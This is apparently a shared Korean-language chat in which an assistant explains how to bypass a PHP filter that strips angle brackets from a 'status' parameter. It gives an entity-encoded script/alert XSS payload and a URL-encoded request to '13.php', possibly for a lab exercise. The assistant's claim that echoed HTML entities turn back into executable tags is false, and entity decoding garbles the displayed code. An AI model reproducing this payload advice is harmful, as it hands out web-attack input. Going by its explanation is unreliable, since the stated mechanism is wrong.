이 부분이 핵심인거 같은데 다시 <?php if(isset($GET['status'])) { $status = $GET['status']; $status =…
- User
이 부분이 핵심인거 같은데 다시
- Assistant
아래 PHP 코드가 하는 일은 단순히
<와>문자만<,>로 치환하는 것입니다.if(isset($_GET['status'])) { $status = $_GET['status']; // 문자 리터럴 '<' 와 '>' 만 치환 $status = str_replace('<','<', $status); $status = str_replace('>','>', $status); echo $status; }즉, HTML 엔티티(숫자 코드)를 쓰면 필터를 우회할 수 있습니다. 브라우저는 출력된 숫자 엔티티를 다시 실제 문자(
<·>)로 해석하기 때문이죠.-
10진수 엔티티 예
<script>alert(1)</script>URL 인코딩 후 요청 예
13.php?status=%26%2360%3Bscript%26%2362%3Balert(1)%26%2332%3B%26%2360%3B/script%26%2362%3B -
16진수 엔티티 예
-
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.